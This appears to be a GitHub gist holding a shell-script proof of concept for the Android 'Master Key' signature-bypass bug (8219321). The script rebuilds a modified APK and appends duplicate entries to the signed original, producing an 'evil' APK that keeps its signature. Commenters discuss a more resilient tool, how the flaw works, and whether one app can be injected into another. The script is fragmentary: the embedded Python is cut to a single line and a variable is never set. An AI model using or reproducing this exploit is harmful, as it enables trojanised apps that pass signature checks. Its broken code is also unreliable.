|# PoC for Android bug 8219321 by @pof|
|# +info: https://jira.cyanogenmod.org/browse/CYAN-1602|
|if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi|
|rm -r out out.apk tmp 2>/dev/null|
|java -jar apktool.jar d $APK out|
|#apktool d $APK out|
|echo "Modify files, when done type 'exit'"|
|java -jar apktool.jar b out out.apk|
|#apktool b out out.apk|
|mv ../out.apk .|
|cat >poc.py <<-EOF|
|z = zipfile.ZipFile(sys.argv, "a")|
|chmod 755 poc.py|
|for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done|
|cp out.apk ../evil-$APK|
|rm -rf tmp out|
|echo "Modified APK: evil-$APK"|
https://github.com/Fuzion24/AndroidMasterKeys/ I built a slightly more resilient tool. This also makes sure not to duplicate files that exist in the original application as well as compress the added files. Pythons zip append in the above script will only add files as STORED (no compression).
The apktools option are here: https://code.google.com/p/android-apktool/source/browse/brut.apktool/apktool-cli/src/main/java/brut/apktool/Main.java
So you simply decompile, modify and rebuild and ... Android does not recompute the hash ??
@BrunoVernay I'm duplicating entries inside the apk (original entries + rebuilt entries). The hashes in META-INF folder are from the original signed files, which are checked for signature, but the ones that end up being installed on the device are the duplicated ones.
Hi all, I modified the script so that it tackes two different files as parameters. This scenario is more realistic if we really want to leverage an attack with this technique. However, in doing so I was not able to install the repackaged application because of the "Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]" error raised by ADB. But why this works when the two applications are the same (I verified that it does not raise any error) ? One explaination would be that in order to verify that the application is well signed, the package manager computes a hash of every file in the APK and then verifies that the hash of this list of hash is well signed. This is possible that the implementation manages the case where duplicated files are in the package. Thus two same hashes would be in the list only once and thus create a valid signature. I don't know how it is implemented but I would have done so. But to conclude, according to my experiments, this flaw can not be leveraged by attackers to sign malicious applications with certificates of benign applications. My Cyanogen version is 7.2.0 for WildfireS (not official).
NB: please let me know if I have made a mistake
Hereafter the code modified:
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
here's an example that can inject contents of an APK into another: